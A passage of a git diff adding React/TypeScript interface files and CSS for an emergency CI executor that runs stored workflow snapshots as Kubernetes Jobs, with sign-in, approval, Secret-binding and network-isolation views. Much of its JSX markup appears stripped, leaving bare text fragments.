+ ); +} + +function SignIn({ options, failed, onSignedIn }: { options: SignInOptions; failed: boolean; onSignedIn: () => void }) { + const [account, setAccount] = useState(""); + const [credential, setCredential] = useState(""); + const [reason, setReason] = useState(""); + const [error, setError] = useState(null); + const [busy, setBusy] = useState(false); + const returnTo = window.location.hash.startsWith("#/emergency") && !failed ? window.location.hash : "#/emergency"; + return ( +
+

Sign in to the emergency executor

+ {failed && ( +

+ Sign-in failed. Try again; if it keeps failing, an administrator can see why in the executor's audit log. +

+ )} + {options.oidc ? ( +

+ + Sign in with {options.oidc.label} + +

+ ) : ( +

No identity provider is configured on this executor.

+ )} +

Your session is kept by the executor in a cookie this page can't read. It is not your GitHub token, and the executor never receives your GitHub token.

+ {options.breakGlass && ( +
+ Break-glass sign-in (identity provider unavailable) +
{ + e.preventDefault(); + setBusy(true); + setError(null); + try { + await executor.breakGlass(account.trim(), credential, reason.trim()); + setCredential(""); + onSignedIn(); + } catch (err) { + setError(errorText(err)); + } finally { + setBusy(false); + } + }} + > +

Every break-glass sign-in is audited with its reason and lasts at most an hour.

+ + + + + {error && ( +

+ {error} +

+ )} +
+
+ )} +
+ ); +} + +function NoRoles({ session }: { session: SessionView }) { + return ( +
+

Signed in, with no roles yet

+

An administrator must give you a role (viewer, operator, approver or administrator) before you can see or run anything. Tell them who you are:

+
+
Name
+
{session.user.name}
+
Issuer
+
{session.user.issuer ?? session.user.kind}
+
Subject
+
+ {session.user.subject ?? session.user.id} +
+
+
+ ); +} + +function EmergencyHome() { + const session = useSession(); + const [snapshots, setSnapshots] = useState(null); + const [executions, setExecutions] = useState(null); + const [error, setError] = useState(null); + const [reload, setReload] = useState(0); + useEffect(() => { + let live = true; + Promise.all([executor.listSnapshots(), executor.listExecutions()]).then( + ([s, x]) => { + if (!live) return; + setSnapshots(s); + setExecutions(x); + setError(null); + }, + (err) => live && setError(errorText(err)), + ); + return () => { + live = false; + }; + }, [reload]); + + return ( +
+
+
+

Snapshots

+ {can(session, "snapshots.create") && ( + + Prepare a snapshot + + )} +
+ {error &&

{error}

} + {snapshots === null ? ( +

Loading…

+ ) : snapshots.length === 0 ? ( +

No snapshots yet. Prepare one while GitHub is available.

+ ) : ( + + + + + + + + + + + + + {snapshots.map((s) => ( + + + + + + + + + ))} + +
SnapshotSourcePreparedByExpiresState
+ + {s.name} v{s.version} + + + {s.source.repository}@{s.source.sha.slice(0, 7)} + {relativeTime(s.storedAt)} + {s.preparedBy?.name ?? before sign-in} + {s.visibility === "restricted" && restricted} + {new Date(s.expiresAt).toISOString().slice(0, 10)}{s.executable ? executable : validation errors}
+ )} +
+
+
+

Executions

+ +
+ {executions === null ? ( +

Loading…

+ ) : executions.length === 0 ? ( +

No executions yet.

+ ) : ( + + + + + + + + + + + + + {executions.map((x) => ( + + + + + + + + + ))} + +
ExecutionSnapshotWorkflowRequestedByResult
+ {x.meta.id} + + {x.meta.snapshotName} v{x.meta.snapshotVersion} + {x.meta.workflow}{relativeTime(x.meta.createdAt)}{x.meta.initiatedBy?.name ?? operator token} + {x.meta.state === "awaiting-approval" ? awaiting approval : } +
+ )} +
+
+ ); +} + +export function StatusTag({ status }: { status: string }) { + const cls = status === "success" ? "tag-ok" : status === "failure" || status === "error" ? "tag-bad" : status === "running" || status === "pending" ? "tag-run" : ""; + return ( + + {status} + + ); +} diff --git a/src/ui/emergency/ExecutionPage.tsx b/src/ui/emergency/ExecutionPage.tsx new file mode 100644 index 0000000..4f77bcc --- /dev/null +++ b/src/ui/emergency/ExecutionPage.tsx @@ -0,0 +1,306 @@ +// One emergency execution: snapshot and commit, integrity and network evidence, job and step progress with exit +// codes, logs, outputs and the final result. Polls while the execution runs. Security review H2: who prepared, started +// and approved it, and, while it waits, the approval decision for approvers. +import { useEffect, useState } from "react"; +import { executor, type ExecutionDetail, type ExecutionMeta } from "../../emergency/executor-client"; +import type { JobView, StepView } from "../../emergency/events"; +import { can, emergencyHref, errorText, StatusTag, useSession } from "./EmergencyView"; + +/** Log line sources: the runner's own messages, and the workflow's output streams. */ +const SOURCE_TAG: Record = { runner: "runner", stdout: "out", stderr: "err" }; +const SOURCE_LABEL: Record = { runner: "Message from the runner", stdout: "Workflow output (stdout)", stderr: "Workflow output (stderr)" }; +const ms = (n?: number) => (n === undefined ? "" : n < 1000 ? `${n} ms` : `${(n / 1000).toFixed(1)} s`); + +export function ExecutionPage({ id }: { id: string }) { + const session = useSession(); + const [data, setData] = useState(null); + const [error, setError] = useState(null); + const [reload, setReload] = useState(0); + useEffect(() => { + let timer: number | undefined; + let live = true; + const load = async () => { + try { + const d = await executor.getExecution(id); + if (!live) return; + setData(d); + setError(null); + const done = !["pending", "running"].includes(d.view.status) && d.job.state !== "running" && d.job.state !== "pending"; + if (!done) timer = window.setTimeout(load, 2000); + } catch (e) { + if (!live) return; + setError(errorText(e)); + timer = window.setTimeout(load, 5000); + } + }; + void load(); + return () => { + live = false; + window.clearTimeout(timer); + }; + }, [id, reload]); + + if (!data) return error ?

{error}

:

Loading execution…

; + const { meta, view, job } = data; + const running = view.status === "running" || view.status === "pending"; + const mine = meta.initiatedBy?.id === session.user.id; + const mayStop = (mine && can(session, "executions.cancel-own")) || can(session, "executions.cancel-any"); + return ( +
+

+ ← Emergency execution +

+
+
+

+ Execution {meta.id} +

+ {running && mayStop && ( + + )} +
+ {error &&

{error}

} + {meta.approval && setReload((n) => n + 1)} />} +
+
Prepared by
+
{meta.preparedBy?.name ?? "— (before sign-in)"}
+
Started by
+
{meta.initiatedBy?.name ?? "— (the shared operator token, before sign-in)"}
+
Snapshot
+
+ + {meta.snapshotName} v{meta.snapshotVersion} + {" "} + sha256:{meta.snapshotId.slice(0, 16)}… +
+
Source commit
+
+ {view.source ? `${view.source.repository}@${view.source.sha}` : "—"} +
+
Workflow
+
{meta.workflow}
+
Inputs
+
{Object.keys(meta.inputs).length ? Object.entries(meta.inputs).map(([k, v]) => `${k}=${v}`).join(", ") : "none"}
+
Secret
+
+ {meta.secretName ? ( + <> + {meta.secretName} + {meta.secretKeys && — keys {meta.secretKeys.join(", ")} only} + + ) : ( + "none" + )}{" "} + (values are never shown) +
+
Network isolation
+
+ {meta.network === "isolated" + ? meta.isolation?.state === "enforced" + ? `Isolated; NetworkPolicy enforcement verified by the canary at ${meta.isolation.checkedAt}` + : `Isolated mode, but enforcement was not verified (${meta.isolation?.state ?? "record predates the check"})` + : meta.network === "egress" + ? "NOT isolated (egress mode): public internet reachable, including GitHub by IP address" + : "NOT isolated (legacy github-blocked mode: only GitHub's hostnames were blocked)"} +
+
Kubernetes Job
+
+ {meta.jobName} — {job.state} + {job.reason && ({job.reason})} +
+
Snapshot integrity
+
{view.verified ? (view.verified.ok ? `verified in the runner (${view.verified.files} files)` : `FAILED: ${view.verified.problems.join("; ")}`) : "not yet checked"}
+
Runner's events
+
+ {!view.stream + ? "not yet read" + : view.stream.legacy + ? "not verifiable (recorded before events were authenticated)" + : view.stream.ok + ? `authenticated (${view.stream.events} events${view.stream.complete ? ", complete" : " so far"})` + : `FAILED after ${view.stream.events} events: ${view.stream.problem}`} +
+ {view.exitCode !== undefined && ( + <> +
Runner exit code
+
{view.exitCode}
+ + )} +
Runner's hostname probe (not proof)
+
+ {view.network.length === 0 + ? meta.network === "isolated" + ? "checking…" + : "not checked" + : view.network.map((n) => ( + + {n.host}: {n.reachable ? "REACHABLE" : "unreachable"} ({n.detail}) +
+ + ))} +
+ {view.durationMs !== undefined && ( + <> +
Duration
+
{ms(view.durationMs)}
+ + )} + {view.reason && ( + <> +
Result
+
+ {view.reason} +
+ + )} +
+ {view.status === "success" && ( +

+ This run happened outside GitHub: no check, status or deployment record was created there. After GitHub recovers, re-run or record it there as your process requires. +

+ )} +
+
+

Jobs and steps

+ {view.jobs.length === 0 ?

No job has started.

: view.jobs.map((j) => )} +
+ {view.annotations.length > 0 && ( +
+

Annotations

+
    + {view.annotations.map((a, i) => ( +
  • + {a.level} {a.message} ({a.source === "workflow" ? "reported by the workflow, " : ""}{a.job} step {a.step}) +
    • + ))} +
+
+ )} +
+ ); +} + +function JobCard({ job, logs }: { job: JobView; logs: { text: string; stream: string }[] }) { + return ( +
+

+ {job.job} + {job.name !== job.job.split("/").at(-1) && — {job.name}} + {job.needs.length > 0 && · needs {job.needs.join(", ")}} + {job.reason && · {job.reason}} +

+ {Object.keys(job.outputs).length > 0 && ( +

+ outputs: {Object.entries(job.outputs).map(([k, v]) => `${k}=${v}`).join(", ")} +

+ )} + {job.steps.length > 0 && ( +
    + {job.steps.map((s) => ( + + ))} +
+ )} +
+ ); +} + +function StepRow({ step, logs }: { step: StepView; logs: { text: string; stream: string }[] }) { + const [open, setOpen] = useState(step.status === "failure"); + return ( +
  • + + + {" "} + exit {step.exitCode ?? "–"} · {ms(step.durationMs)} + {step.reason && ` · ${step.reason}`} + + {Object.keys(step.outputs).length > 0 && · {Object.entries(step.outputs).map(([k, v]) => `${k}=${v}`).join(", ")}} + {open && ( + // Each line is labelled with its source, so workflow output can't pass itself off as the runner's (review H3). + 
    +          {step.logs.length
+            ? step.logs.map((i) => (
+                
+                  
+                    {SOURCE_TAG[logs[i]!.stream] ?? "?"}
+                  
+                  {logs[i]!.text}
+                  {"\n"}
+                
+              ))
+            : "(no output)"}
+
    + )} +
    • + ); +} + +/** The approval request and its decision; approvers (other than the initiator and preparer) decide here. */ +function Approval({ meta, onChanged }: { meta: ExecutionMeta; onChanged: () => void }) { + const session = useSession(); + const [comment, setComment] = useState(""); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + const a = meta.approval!; + const involved = meta.initiatedBy?.id === session.user.id || meta.preparedBy?.id === session.user.id; + const decide = async (decision: "approve" | "reject") => { + setBusy(true); + setError(null); + try { + const r = await executor.decide(meta.id, decision, a.requestDigest, comment.trim()); + if (r.startProblem) setError(`Approved, but not started yet: ${r.startProblem.error}`); + onChanged(); + } catch (e) { + setError(errorText(e)); + } finally { + setBusy(false); + } + }; + return ( +
    +

    + {meta.state === "awaiting-approval" ? "Waiting for approval" : a.decision === "approved" ? `Approved by ${a.decidedBy?.name}` : a.decision === "rejected" ? `Rejected by ${a.decidedBy?.name}` : `Approval: ${meta.state}`} + {a.comment && — “{a.comment}”} +

    +
      + {a.reasons.map((r) => ( +
    • {r}
      • + ))} +
    +

    + The decision covers exactly this request (digest {a.requestDigest.slice(0, 16)}…): this snapshot, workflow, inputs, variables, network mode and Secret binding. Any change to the binding invalidates it. +

    + {meta.state === "awaiting-approval" && + (can(session, "executions.approve") && !involved ? ( +
    + setComment(e.target.value)} data-testid="approval-comment" /> + + +
    + ) : ( +

    + {involved ? "You started this execution or prepared its snapshot, so another approver must decide." : "An approver must decide."} +

    + ))} + {meta.state === "approved" && meta.initiatedBy?.id === session.user.id && ( + + )} + {error && ( +

    + {error} +

    + )} +
    + ); +} diff --git a/src/ui/emergency/ManifestDetails.tsx b/src/ui/emergency/ManifestDetails.tsx new file mode 100644 index 0000000..c773b2f --- /dev/null +++ b/src/ui/emergency/ManifestDetails.tsx @@ -0,0 +1,178 @@ +// What a snapshot contains and requires: source commit, execution graph, resolved actions, requirements, +// validation findings and packaged files. Used before upload and for stored snapshots. +import type { Diagnostic } from "../../emergency/model"; +import type { Manifest } from "../../emergency/snapshot"; + +const kb = (n: number) => (n < 1024 ? `${n} B` : n < 1024 * 1024 ? `${(n / 1024).toFixed(1)} KB` : `${(n / 1024 / 1024).toFixed(1)} MB`); + +/** + * `serverDiagnostics`: for a stored snapshot, the executor's findings from the packaged files (security review H1), + * shown instead of the uploader's claims; the source is then labelled as claimed. + */ +export function ManifestDetails({ manifest, digest, serverDiagnostics }: { manifest: Manifest; digest?: string; serverDiagnostics?: Diagnostic[] }) { + const shown = serverDiagnostics ?? manifest.diagnostics; + const errors = shown.filter((d) => d.severity === "error"); + const warnings = shown.filter((d) => d.severity === "warning"); + const notes = shown.filter((d) => d.severity === "info"); + const roots = new Map(manifest.roots.map((r) => [r.id, r])); + return ( +
    +
    +
    {serverDiagnostics ? "Source (claimed by the uploader)" : "Source"}
    +
    + {manifest.source.repository} at {manifest.source.ref} +
    +
    Commit
    +
    + {manifest.source.sha} +
    + {digest && ( + <> +
    Snapshot digest
    +
    + sha256:{digest} +
    + + )} +
    Packaged
    +
    + {manifest.totals.files} files, {kb(manifest.totals.bytes)}, each pinned by sha256 +
    +
    Expires
    +
    {manifest.expiresAt}
    +
    + +

    {serverDiagnostics ? "Validation (by the executor, from the packaged files)" : "Validation"}

    + {errors.length === 0 ? ( +

    + No blocking problems +

    + ) : ( +
      + {errors.map((d, i) => ( +
    • + {d.message} {d.where && ({d.where})} +
      • + ))} +
    + )} + {warnings.length > 0 && ( +
    + {warnings.length} differences from GitHub Actions +
      + {warnings.map((d, i) => ( +
    • + {d.message} {d.where && ({d.where})} +
      • + ))} +
    +
    + )} + {notes.length > 0 && ( +
    + {notes.length} notes +
      + {notes.map((d, i) => ( +
    • + {d.message} {d.where && ({d.where})} +
      • + ))} +
    +
    + )} + +

    Execution graph

    + {manifest.workflows.map((w) => ( +
    +

    + {w.key} {w.name && — {w.name}} + {w.root !== "workspace" && (from {roots.get(w.root)?.repository})} +

    +
      + {w.jobs.map((j) => ( +
    1. + {j.id} + {j.needs.length > 0 && needs {j.needs.join(", ")}} + {j.kind === "call" ? ( + + {" "} + → calls {j.calls} + + ) : ( +
        + {j.steps.map((s) => ( +
      1. + {s.kind === "run" ? s.shell ?? "bash" : s.kind} {s.label} + {s.action && s.kind !== "checkout" && {s.action}} + {s.scripts.length > 0 && · scripts: {s.scripts.join(", ")}} +
        2. + ))} +
      + )} +
      2. + ))} +
    +
    + ))} + +

    Actions

    + + + + + + + + + + {manifest.actions.map((a) => ( + + + + + + ))} + +
    usesTypePackaged from
    {a.key}{a.substitutedBy ? "replaced by the packaged workspace" : `${a.using}${a.runtime && a.using !== "composite" ? ` (${a.runtime})` : ""}`}{a.substitutedBy ? "—" : a.root === "workspace" ? `workspace/${a.dir}` : `${roots.get(a.root)?.repository}@${roots.get(a.root)?.sha.slice(0, 12)}/${a.dir}`}
    + +

    Requirements at execution time

    +
      +
    • + Secrets (names only; values come from a Kubernetes Secret when the snapshot runs):{" "} + {manifest.requirements.secrets.length ? manifest.requirements.secrets.map((s) => {s.name} ) : "none"} +
      • +
    • + Variables: {manifest.requirements.variables.length ? manifest.requirements.variables.map((s) => {s.name} ) : "none"} +
      • + {Object.entries(manifest.requirements.inputs).map(([wf, inputs]) => ( +
    • + Inputs of {wf}: {Object.keys(inputs).length ? Object.keys(inputs).map((k) => {k} ) : "none"} +
      • + ))} +
    • + Runtimes: {manifest.requirements.runtimes.join(", ") || "none"} (the runner image has Node.js 22, bash, sh and Python 3 with its standard library) +
      • +
    • + External services:{" "} + {manifest.requirements.externalServices.length ? ( + {manifest.requirements.externalServices.map((s) => s.name).join("; ")} — unreachable in isolated runs + ) : ( + "none detected" + )} +
      • +
    + +
    + {manifest.files.length} packaged files +
      + {manifest.files.map((f) => ( +
    • + {f.root === "workspace" ? "" : `${roots.get(f.root)?.repository}: `} + {f.path} {kb(f.size)} · {f.sha256.slice(0, 12)} +
      • + ))} +
    +
    +
    + ); +} diff --git a/src/ui/emergency/PrepareSnapshot.tsx b/src/ui/emergency/PrepareSnapshot.tsx new file mode 100644 index 0000000..3e5a500 --- /dev/null +++ b/src/ui/emergency/PrepareSnapshot.tsx @@ -0,0 +1,218 @@ +// Snapshot preparation: choose a repository, ref and workflows; resolve the complete dependency graph at the +// commit; review what will be packaged and what can't run; upload. Reads GitHub only through the app's read-only +// client (GET, the existing token); the GitHub token never leaves the browser. +import { useState } from "react"; +import type { Environment } from "../../app/environment"; +import { parseRepo } from "../../domain/run-url"; +import { executor } from "../../emergency/executor-client"; +import { createGitHubReader } from "../../emergency/github-reader"; +import { prepareSnapshot, type SourceReader } from "../../emergency/prepare"; +import { hasErrors, toBase64, type Manifest, type Visibility } from "../../emergency/snapshot"; +import { GitHubError } from "../../github/client"; +import { failureText } from "../copy"; +import { emergencyHref, errorText } from "./EmergencyView"; +import { ManifestDetails } from "./ManifestDetails"; + +type Prepared = { manifest: Manifest; contents: Map }; + +export function PrepareSnapshot({ env, githubConnected }: { env: Environment; githubConnected: boolean }) { + const [repo, setRepo] = useState(""); + const [ref, setRef] = useState("main"); + const [found, setFound] = useState<{ sha: string; workflows: string[] } | null>(null); + const [selected, setSelected] = useState([]); + const [name, setName] = useState(""); + const [days, setDays] = useState(30); + const [include, setInclude] = useState(""); + const [busy, setBusy] = useState(null); + const [error, setError] = useState(null); + const [prepared, setPrepared] = useState(null); + const [stored, setStored] = useState<{ id: string; version: number; created: boolean } | null>(null); + const [visibility, setVisibility] = useState("shared"); + const [reader] = useState(() => createGitHubReader(env.client)); + + if (env.mode === "live" && !githubConnected) { + return ( +

    + Preparing a snapshot reads the repository from GitHub, so it needs GitHub to be available and a GitHub token. Connect to GitHub, then come back. Running + snapshots that are already prepared doesn't. +

    + ); + } + + const fail = (e: unknown) => setError(e instanceof GitHubError ? failureText(e.failure) : errorText(e)); + const repoRef = parseRepo(repo); + + async function loadWorkflows() { + if (!repoRef) return; + setBusy("Reading workflows…"); + setError(null); + setFound(null); + setPrepared(null); + setStored(null); + try { + const full = `${repoRef.owner}/${repoRef.repo}`; + const sha = await reader.resolveCommit(full, ref.trim()); + const files = await reader.listFiles(full, sha); + const workflows = files.map((f) => f.path).filter((p) => /^\.github\/workflows\/[^/]+\.ya?ml$/.test(p)); + setFound({ sha, workflows }); + setSelected(workflows.slice(0, 1)); + if (!name) setName(`${repoRef.repo} ${ref.trim()}`.replace(/[^A-Za-z0-9 ._-]/g, "-").slice(0, 63)); + } catch (e) { + fail(e); + } finally { + setBusy(null); + } + } + + async function resolve() { + if (!repoRef || !found) return; + setBusy("Resolving dependencies…"); + setError(null); + setPrepared(null); + setStored(null); + try { + const result = await prepareSnapshot(reader, { + repository: `${repoRef.owner}/${repoRef.repo}`, + ref: ref.trim(), + sha: found.sha, + workflows: selected, + name, + expiresInDays: days, + include: include + .split(",") + .map((s) => s.trim()) + .filter(Boolean), + onProgress: (m) => setBusy(m), + }); + setPrepared(result); + } catch (e) { + fail(e); + } finally { + setBusy(null); + } + } + + async function upload() { + if (!prepared) return; + setBusy("Uploading snapshot…"); + setError(null); + try { + const contents = Object.fromEntries([...prepared.contents].map(([k, v]) => [k, toBase64(v)])); + const r = await executor.uploadSnapshot({ manifest: prepared.manifest, contents }, visibility); + setStored({ id: r.snapshot.id, version: r.snapshot.version, created: r.created }); + } catch (e) { + fail(e); + } finally { + setBusy(null); + } + } + + return ( +
    +

    + ← Emergency execution +

    +
    +

    1. Repository and commit

    +
    + + + +
    + {repo && !repoRef &&

    Enter the repository as owner/repo.

    } + {found && ( +

    + {ref} is commit {found.sha}. Everything in the snapshot is read at this commit. +

    + )} +
    + + {found && ( +
    +

    2. Workflows and supporting files

    + {found.workflows.length === 0 ? ( +

    No workflows in .github/workflows at this commit.

    + ) : ( +
    + Workflows to prepare (reusable workflows and actions they use are added automatically) + {found.workflows.map((w) => ( + + ))} +
    + )} +
    + + + +
    + +
    + )} + + {busy && ( +

    + {busy} +

    + )} + {error && ( +

    + {error} +

    + )} + + {prepared && ( +
    +

    3. Review

    + +
    + {hasErrors(prepared.manifest.diagnostics) ? ( +

    + This pipeline has validation errors (above), so it can't run in an emergency. Change the workflow, or prepare a narrower set of workflows. +

    + ) : stored ? ( +

    + {stored.created ? "Stored" : "Already stored (identical content)"} as version {stored.version}.{" "} + Open the snapshot +

    + ) : ( + <> + {" "} + + + )} +
    +
    + )} +
    + ); +} diff --git a/src/ui/emergency/SnapshotPage.tsx b/src/ui/emergency/SnapshotPage.tsx new file mode 100644 index 0000000..a4df4cc --- /dev/null +++ b/src/ui/emergency/SnapshotPage.tsx @@ -0,0 +1,352 @@ +// One stored snapshot: its manifest, an integrity check, and the form that starts an emergency execution. +import { useEffect, useMemo, useState } from "react"; +import type { Environment } from "../../app/environment"; +import { executor, type NetworkCheckView, type NetworkMode, type SecretBindingView } from "../../emergency/executor-client"; +import { checkProvenance, type Provenance } from "../../emergency/provenance"; +import { manifestDigest, type Manifest, type SnapshotRecord } from "../../emergency/snapshot"; +import { can, emergencyHref, errorText, useSession } from "./EmergencyView"; +import { ManifestDetails } from "./ManifestDetails"; + +export function SnapshotPage({ id, env, githubConnected }: { id: string; env: Environment; githubConnected: boolean }) { + const [data, setData] = useState<{ + record: SnapshotRecord; + manifest: Manifest; + expired: boolean; + secretBinding: SecretBindingView | null; + secretBindingProblem: string | null; + allowEgress: boolean; + approvalPolicy?: { requireFor: string[]; separationOfDuties: boolean; ttlMinutes: number }; + } | null>(null); + const session = useSession(); + const [digestOk, setDigestOk] = useState(null); + const [verify, setVerify] = useState(null); + const [error, setError] = useState(null); + useEffect(() => { + executor + .getSnapshot(id) + .then(async (d) => { + setData({ ...d, expired: Date.parse(d.record.expiresAt) <= Date.now() }); + // The browser checks for itself that the manifest it shows is the one the ID names. + setDigestOk((await manifestDigest(d.manifest)) === id); + }) + .catch((e) => setError(errorText(e))); + }, [id]); + + if (error) return

    {error}

    ; + if (!data) return

    Loading snapshot…

    ; + const { record, manifest, expired } = data; + return ( +
    +

    + ← Emergency execution +

    +
    +
    +

    + {record.name} version {record.version} +

    + +
    + {verify && ( +

    + {verify} +

    + )} + {digestOk === false &&

    The manifest does not match this snapshot's digest. Don't run it.

    } +

    + Prepared by {record.preparedBy?.name ?? "— (before sign-in)"} + {record.visibility === "restricted" ? " · restricted: only its preparer, approvers and administrators see it, and only its preparer runs it" : " · shared"} +

    + + +
    +
    +

    Run in an emergency

    + {expired ? ( +

    This snapshot expired on {record.expiresAt}. Prepare a new one.

    + ) : !record.executable ? ( +

    + The executor's validation of the packaged files found errors or mismatches, so this snapshot can't run. +

    + ) : !can(session, "executions.create") ? ( +

    + Starting executions needs the operator role. +

    + ) : record.visibility === "restricted" && record.preparedBy?.id !== session.user.id ? ( +

    + Only its preparer can run a restricted snapshot. +

    + ) : ( + + )} +
    +
    + ); +} + +function ExecuteForm({ + id, + manifest, + binding, + bindingProblem, + allowEgress, + approvalPolicy, + restricted, +}: { + id: string; + manifest: Manifest; + binding: SecretBindingView | null; + bindingProblem: string | null; + allowEgress: boolean; + approvalPolicy?: { requireFor: string[]; separationOfDuties: boolean; ttlMinutes: number }; + restricted: boolean; +}) { + const [workflow, setWorkflow] = useState(manifest.entryWorkflows[0]!); + const specs = useMemo(() => manifest.requirements.inputs[workflow] ?? {}, [manifest, workflow]); + const [inputs, setInputs] = useState>(() => defaults(manifest.requirements.inputs[manifest.entryWorkflows[0]!] ?? {})); + const [variables, setVariables] = useState>({}); + const [network, setNetwork] = useState("isolated"); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + const [check, setCheck] = useState(null); + const [checking, setChecking] = useState(false); + const secrets = manifest.requirements.secrets; + // Security review C1: the Secret comes from an administrator's binding to this snapshot's digest. + const missingKeys = binding ? secrets.map((s) => s.name).filter((k) => !binding.keys.includes(k)) : []; + const authorized = secrets.length === 0 || (binding !== null && missingKeys.length === 0); + useEffect(() => { + let live = true; + executor.getNetworkCheck().then( + (c) => live && setCheck(c), + () => live && setCheck(null), + ); + return () => { + live = false; + }; + }, []); + const verdict = network === "isolated" ? check?.state : check?.egress?.state; + // Security review H2: the executor decides; this only says in advance what its approval policy will ask for. + const req = approvalPolicy?.requireFor ?? []; + const needsApproval = [ + req.includes("all") && "every execution", + req.includes("secrets") && secrets.length > 0 && "it receives a Secret", + req.includes("egress") && network === "egress" && "egress mode", + req.includes("restricted") && restricted && "a restricted snapshot", + ] + .filter(Boolean) + .join(", "); + + return ( +
    { + e.preventDefault(); + setBusy(true); + setError(null); + try { + const x = await executor.startExecution({ snapshotId: id, workflow, inputs, variables, network }); + window.location.hash = emergencyHref({ page: "execution", id: x.id }); + } catch (err) { + setError(errorText(err)); + setBusy(false); + } + }} + > +

    + Runs {manifest.source.sha.slice(0, 7)} from the stored snapshot as a Kubernetes Job. Results are not reported to GitHub: reconcile them after GitHub recovers. +

    + + {Object.entries(specs).map(([name, spec]) => ( + + ))} + {manifest.requirements.variables.map((v) => ( + + ))} + {secrets.length > 0 && ( +
    + Secrets + {bindingProblem ? ( +

    {bindingProblem}

    + ) : !binding ? ( +

    + Not authorized: no Secret is bound to this snapshot. A cluster administrator must bind a Secret with {secrets.map((s) => s.name).join(", ")} to digest{" "} + {id} (chart value secretBindings). +

    + ) : missingKeys.length ? ( +

    The binding {binding.name} does not permit {missingKeys.join(", ")}.

    + ) : ( +

    + {secrets.map((s) => s.name).join(", ")} from Secret {binding.secret} (binding {binding.name}). Only these keys are mounted; values never pass through + this page. +

    + )} +
    + )} +
    + Network + + {allowEgress && ( + + )} +

    + {check === null + ? "Network check status unavailable." + : verdict === "enforced" + ? `Isolation verified by the network canary at ${check.checkedAt}.` + : verdict === "checking" + ? "The network canary is running…" + : `Not verified (${verdict ?? "not run"}): ${(network === "isolated" ? check.reason : check.egress?.reason) ?? "no result yet"}. Executions in this mode are refused.`}{" "} + +

    +
    + {needsApproval && ( +

    + This execution needs an approver's decision before it starts ({needsApproval}). It waits on its page; the approval covers exactly these inputs and this Secret binding + {approvalPolicy?.separationOfDuties ? ", and must come from someone other than you or the snapshot's preparer" : ""}. +

    + )} + + {error && ( +

    + {error} +

    + )} +
    + ); +} + +function defaults(specs: Record): Record { + return Object.fromEntries(Object.entries(specs).flatMap(([k, s]) => (s.default === undefined ? [] : [[k, String(s.default)]]))); +} + +/** + * Two separate questions (security review H1): + * - content integrity: verified offline by the executor (Git object IDs recomputed from the packaged files); + * - provenance: is that content the claimed commit on GitHub? Checked here, live, with this browser's read-only + * GitHub access. The result is shown only to whoever checked it and never stored by or sent to the executor. + */ +function IntegrityAndProvenance({ record, manifest, env, githubConnected }: { record: SnapshotRecord; manifest: Manifest; env: Environment; githubConnected: boolean }) { + const [provenance, setProvenance] = useState(null); + const [checking, setChecking] = useState(false); + const [error, setError] = useState(null); + const label = { "tree-verified": "Git tree verified", "blobs-verified": "Git blobs verified (partial root)", unverified: "not verified" } as const; + return ( +
    +

    Content integrity (checked by the executor, offline)

    +
      + {(record.integrity ?? []).map((i) => ( +
    • + {label[i.status]} {i.repository} — {i.detail} +
      • + ))} +
    +

    Provenance on GitHub

    +

    + The source repository and commit are the uploader's claim. Checking them asks GitHub, read-only, whether that commit exists and contains exactly this content. The result + stays in this browser. +

    +

    + {provenance ? ( + {provenance.status} + ) : ( + not checked — unverified + )}{" "} + {provenance && checked {provenance.checkedAt}}{" "} + + {env.mode === "live" && !githubConnected && (connect to GitHub first)} +

    + {error &&

    {error}

    } + {provenance && ( +
      + {provenance.roots.map((r) => ( +
    • + {r.status}{" "} + + {r.repository}@{r.sha.slice(0, 12)} + {" "} + — {r.detail} +
      • + ))} +
    + )} +
    + ); +} diff --git a/src/ui/emergency/emergency.css b/src/ui/emergency/emergency.css new file mode 100644 index 0000000..4c683b7 --- /dev/null +++ b/src/ui/emergency/emergency.css @@ -0,0 +1,301 @@ +/* Emergency execution views. Theme tokens from theme.css. */ +.emergency { + display: grid; + gap: 16px; + max-width: 1100px; + margin: 0 auto; + padding: 16px; +} +.emergency-head { + display: flex; + justify-content: space-between; + gap: 16px; + align-items: flex-start; + border-left: 4px solid var(--fail); + padding-left: 12px; +} +.emergency-head h2 { + margin: 2px 0 6px; +} +.emergency-head h2 a { + color: inherit; + text-decoration: none; +} +.emergency-kicker { + margin: 0; + font-size: 12px; + font-weight: 600; + letter-spacing: 0.06em; + text-transform: uppercase; + color: var(--fail); +} +.emergency .panel { + background: var(--surface); + border: 1px solid var(--line); + border-radius: 10px; + padding: 14px 16px; + margin-bottom: 16px; +} +.emergency .panel-head { + display: flex; + justify-content: space-between; + align-items: center; + gap: 12px; +} +.emergency h3 { + margin: 0 0 10px; +} +.emergency h4 { + margin: 18px 0 6px; +} +.emergency label { + display: grid; + gap: 4px; + font-size: 14px; +} +.emergency label.check { + display: flex; + gap: 8px; + align-items: center; +} +.emergency input:not([type="checkbox"]):not([type="radio"]), +.emergency select { + font: inherit; + padding: 6px 8px; + border: 1px solid var(--line-strong); + border-radius: 6px; + background: var(--surface); + color: var(--ink); + min-width: 0; +} +.emergency fieldset { + border: 1px solid var(--line); + border-radius: 8px; + display: grid; + gap: 6px; +} +.form-row { + display: flex; + flex-wrap: wrap; + gap: 12px; + align-items: end; + margin-bottom: 12px; +} +.form-row label { + flex: 1 1 200px; +} +.form-row label.wide { + flex-basis: 100%; +} +.emergency-connect, +.execute-form { + display: grid; + gap: 12px; + max-width: 640px; +} +.emergency button.primary, +.button-link { + background: var(--accent); + color: var(--accent-ink); + border: 0; + border-radius: 6px; + padding: 8px 14px; + font-weight: 600; + text-decoration: none; +} +.emergency button.danger { + background: var(--fail); + color: #fff; +} +.emergency-table { + width: 100%; + border-collapse: collapse; + font-size: 14px; +} +.emergency-table th, +.emergency-table td { + text-align: left; + padding: 6px 8px; + border-bottom: 1px solid var(--line); + vertical-align: top; + overflow-wrap: anywhere; +} +.tag { + display: inline-block; + font-size: 12px; + padding: 1px 8px; + border-radius: 999px; + border: 1px solid var(--line-strong); + color: var(--muted); +} +.tag-ok { + color: var(--pass); + border-color: var(--pass); +} +.tag-bad { + color: var(--fail); + border-color: var(--fail); +} +.tag-run { + color: var(--run); + border-color: var(--run); +} +.warn-text { + color: var(--warn); +} +.manifest-facts { + display: grid; + grid-template-columns: max-content 1fr; + gap: 4px 16px; + margin: 0; +} +.manifest-facts dt { + color: var(--muted); +} +.manifest-facts dd { + margin: 0; + overflow-wrap: anywhere; +} +.diag { + margin: 4px 0; + padding-left: 20px; +} +.diag-error li { + 